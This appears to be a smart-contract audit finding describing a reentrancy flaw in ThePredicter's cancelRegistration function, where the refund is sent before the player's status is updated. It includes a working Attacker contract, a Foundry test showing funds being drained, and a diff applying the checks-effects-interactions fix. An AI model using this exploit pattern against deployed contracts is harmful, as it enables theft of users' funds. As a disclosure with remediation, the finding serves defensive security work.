Description
The cancelRegistration
function allows the Users which are still not approved for Players to cancel their registration and to withdraw the paid entrance fee. But it transfered entranceFee
back to user before update playersStatus[msg.sender]
make it's vulnerable to reentrancy attack. Because the user can be a contract and can call cancelRegistration
function again when it received the entranceFee
.
Impact
The ThePredicter
contract can lost almost all of it funds.
Tools Used
Manual review and Foundry.
PoC
First, make the Attacker contract
contract Attacker {
ThePredicter public immutable i_thePredicter;
constructor(ThePredicter _thePredicter) {
i_thePredicter = _thePredicter;
}
function attack() public {
i_thePredicter.register{value: i_thePredicter.entranceFee()}();
i_thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(i_thePredicter).balance >= i_thePredicter.entranceFee()) {
i_thePredicter.cancelRegistration();
}
}
receive() external payable {
if (address(i_thePredicter).balance >= i_thePredicter.entranceFee()) {
i_thePredicter.cancelRegistration();
}
}
}
Then, pass this test into ThePredicter.test.sol
function test_reentrancyAttackCancelRegistration() public {
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
Attacker attacker = new Attacker(thePredicter);
vm.startPrank(address(attacker));
vm.deal(address(attacker), 1 ether);
uint256 attackerBalanceBefore = address(attacker).balance;
attacker.attack();
vm.stopPrank();
uint256 attackerBalanceAfter = address(attacker).balance;
assert(attackerBalanceBefore < attackerBalanceAfter);
}
Test pass, the attacker have more money than before.
Recommendations
Follow CEI design pattern, update playersStatus[msg.sender]
before transfer entranceFee
back to user.
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}